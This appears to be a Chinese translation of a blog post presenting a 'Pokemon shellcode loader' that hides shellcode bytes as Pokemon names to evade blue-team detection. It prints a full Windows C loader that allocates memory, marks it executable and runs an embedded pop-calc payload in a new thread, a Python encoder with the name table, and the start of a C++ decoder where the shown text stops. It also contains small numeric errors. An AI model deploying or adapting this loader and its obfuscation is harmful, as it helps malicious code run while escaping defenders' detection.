techryptic/pokemon-shellcode-loader厌倦了整天盯着十六进制和弹出'\x41'？宁愿看看洛奇亚/小火龙？我有解决方案给你。
厌倦了整天盯着十六进制，还时不时弹出一堆 '\x41'？更想看洛奇亚/小火龙？我为你找到了解决方案。@Checkymander 发推提到用宝可梦名字来创建 shellcode 加载器。这是一个用来和蓝队斗智斗勇的趣味项目，但当时还没有 PoC！（至少在我上次查看时还没有）
注意 #1 更新后的代码会放在我的 GitHub 上：https://github.com/Techryptic/Pokemon-Shellcode-Loader
注意 #2 GitBooks：https://techryptic.gitbook.io/pokemon-shellcode
注意 #3 GitPages：https://techryptic.github.io/2022/07/28/Pokemon-Shellcode-Loader
实现方式有多种： 如果查看一段 shellcode，它其实就是一串从 0x00 到 0xFF 的十六进制数，换算成十进制就是 0 到 256。而可供选择的宝可梦恰好远不止 256 只。
从上面的宝可梦图可以看出，我们可以把 #001 的 BULBASAUR 转换为 0x01（去掉开头的零）。同样，CHARMANDER 将用 0x04 表示，依此类推。而幸运的空字节 0x00 可以对应到第 257 号宝可梦 BLAZIKEN！
把 shellcode 转换成宝可梦-Shellcode 很简单。那反过来，把宝可梦-Shellcode 转换成汇编呢？！我们是想要一个放在 .ASM 内部的数组？用 C 代码？还是从外部拉取？
可以探索的方向有很多！
我们需要数据。首先，我找到了两个同时包含宝可梦编号和名字的地方：
https://gist.github.com/armgilles/194bcff35001e7eb53a2a8b441e8b2c6
另一个地方只包含宝可梦的名字。这可能更有用，因为我们可以直接通过数组索引位置找到某个宝可梦，而不必带上冗长的字符串。
https://github.com/sindresorhus/pokemon/blob/main/data/en.json
我拿了一段常规的 POP CALC shellcode，然后用一些 C 代码来处理它。
#include <windows.h>
void main() {
void* exec;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
// Shellcode
unsigned char payload[] =
"\x50\x53\x51\x52\x56\x57\x55\x89"
"\xe5\x83\xec\x18\x31\xf6\x56\x6a"
"\x63\x66\x68\x78\x65\x68\x57\x69"
"\x6e\x45\x89\x65\xfc\x31\xf6\x64"
"\x8b\x5e\x30\x8b\x5b\x0c\x8b\x5b"
"\x14\x8b\x1b\x8b\x1b\x8b\x5b\x10"
"\x89\x5d\xf8\x31\xc0\x8b\x43\x3c"
"\x01\xd8\x8b\x40\x78\x01\xd8\x8b"
"\x48\x24\x01\xd9\x89\x4d\xf4\x8b"
"\x78\x20\x01\xdf\x89\x7d\xf0\x8b"
"\x50\x1c\x01\xda\x89\x55\xec\x8b"
"\x58\x14\x31\xc0\x8b\x55\xf8\x8b"
"\x7d\xf0\x8b\x75\xfc\x31\xc9\xfc"
"\x8b\x3c\x87\x01\xd7\x66\x83\xc1"
"\x08\xf3\xa6\x74\x0a\x40\x39\xd8"
"\x72\xe5\x83\xc4\x26\xeb\x41\x8b"
"\x4d\xf4\x89\xd3\x8b\x55\xec\x66"
"\x8b\x04\x41\x8b\x04\x82\x01\xd8"
"\x31\xd2\x52\x68\x2e\x65\x78\x65"
"\x68\x63\x61\x6c\x63\x68\x6d\x33"
"\x32\x5c\x68\x79\x73\x74\x65\x68"
"\x77\x73\x5c\x53\x68\x69\x6e\x64"
"\x6f\x68\x43\x3a\x5c\x57\x89\xe6"
"\x6a\x0a\x56\xff\xd0\x83\xc4\x46"
"\x5d\x5f\x5e\x5a\x59\x5b\x58\xc3";
unsigned int payload_len = 205;
exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(exec, payload, payload_len);
rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
WaitForSingleObject(th, -1);
}
还不错。它不会做什么恶意操作，但……确实不错。
一个简单的脚本可以把 shellcode 字节对象转换为宝可梦 Shellcode。
import json
shellcode = (b"\x41\x42\x20\x43")
#Do not edit below
PokemonList = ["Missingno","Bulbasaur","Ivysaur","Venusaur","Charmander","Charmeleon","Charizard","Squirtle","Wartortle","Blastoise","Caterpie","Metapod","Butterfree","Weedle","Kakuna","Beedrill","Pidgey","Pidgeotto","Pidgeot","Rattata","Raticate","Spearow","Fearow","Ekans","Arbok","Pikachu","Raichu","Sandshrew","Sandslash","NidoranF","Nidorina","Nidoqueen","NidoranM","Nidorino","Nidoking","Clefairy","Clefable","Vulpix","Ninetales","Jigglypuff","Wigglytuff","Zubat","Golbat","Oddish","Gloom","Vileplume","Paras","Parasect","Venonat","Venomoth","Diglett","Dugtrio","Meowth","Persian","Psyduck","Golduck","Mankey","Primeape","Growlithe","Arcanine","Poliwag","Poliwhirl","Poliwrath","Abra","Kadabra","Alakazam","Machop","Machoke","Machamp","Bellsprout","Weepinbell","Victreebel","Tentacool","Tentacruel","Geodude","Graveler","Golem","Ponyta","Rapidash","Slowpoke","Slowbro","Magnemite","Magneton","Farfetchd","Doduo","Dodrio","Seel","Dewgong","Grimer","Muk","Shellder","Cloyster","Gastly","Haunter","Gengar","Onix","Drowzee","Hypno","Krabby","Kingler","Voltorb","Electrode","Exeggcute","Exeggutor","Cubone","Marowak","Hitmonlee","Hitmonchan","Lickitung","Koffing","Weezing","Rhyhorn","Rhydon","Chansey","Tangela","Kangaskhan","Horsea","Seadra","Goldeen","Seaking","Staryu","Starmie","Mr. Mime","Scyther","Jynx","Electabuzz","Magmar","Pinsir","Tauros","Magikarp","Gyarados","Lapras","Ditto","Eevee","Vaporeon","Jolteon","Flareon","Porygon","Omanyte","Omastar","Kabuto","Kabutops","Aerodactyl","Snorlax","Articuno","Zapdos","Moltres","Dratini","Dragonair","Dragonite","Mewtwo","Mew","Chikorita","Bayleef","Meganium","Cyndaquil","Quilava","Typhlosion","Totodile","Croconaw","Feraligatr","Sentret","Furret","Hoothoot","Noctowl","Ledyba","Ledian","Spinarak","Ariados","Crobat","Chinchou","Lanturn","Pichu","Cleffa","Igglybuff","Togepi","Togetic","Natu","Xatu","Mareep","Flaaffy","Ampharos","Bellossom","Marill","Azumarill","Sudowoodo","Politoed","Hoppip","Skiploom","Jumpluff","Aipom","Sunkern","Sunflora","Yanma","Wooper","Quagsire","Espeon","Umbreon","Murkrow","Slowking","Misdreavus","Unown","Wobbuffet","Girafarig","Pineco","Forretress","Dunsparce","Gligar","Steelix","Snubbull","Granbull","Qwilfish","Scizor","Shuckle","Heracross","Sneasel","Teddiursa","Ursaring","Slugma","Magcargo","Swinub","Piloswine","Corsola","Remoraid","Octillery","Delibird","Mantine","Skarmory","Houndour","Houndoom","Kingdra","Phanpy","Donphan","Porygon2","Stantler","Smeargle","Tyrogue","Hitmontop","Smoochum","Elekid","Magby","Miltank","Blissey","Raikou","Entei","Suicune","Larvitar","Pupitar","Tyranitar","Lugia","Ho-Oh","Celebi","Treecko","Grovyle","Sceptile","Torchic"]
Poke_Shellcode = []
for x in shellcode:
Poke_Shellcode.append(PokemonList[x])
print(json.dumps(Poke_Shellcode))
以上面的 shellcode 为例：
\x00\x31\xc0\x50\x68\x2f\x2F
转换为：
趣味事实：我希望宝可梦的名字与其编号对齐（BULBASAUR = #1，即 0x01），因此需要用某个东西来填充 0x00/空字节。还有什么比 MISSINGNO 更合适的呢？！
另一个问题是，宝可梦 Farfetch'd 的名字里有撇号，如下图所示。简单的修复方法是直接去掉撇号，叫它 Farfetchd。
最后，还有两只宝可梦在去掉符号后重名，修复方法是对其中一只追加 F（代表雌性），对另一只追加 M（代表雄性）。
#include <iostream>
#include <string>
#include <Bits.h>
using namespace std;
// Created by: Techryptic
// @Tech
string indexNumberToHexa(int number);
void reverse_String(string& str, int last_index, int starting_index);
void printAscii(unsigned char* index_to_hexa_array, int counter_s);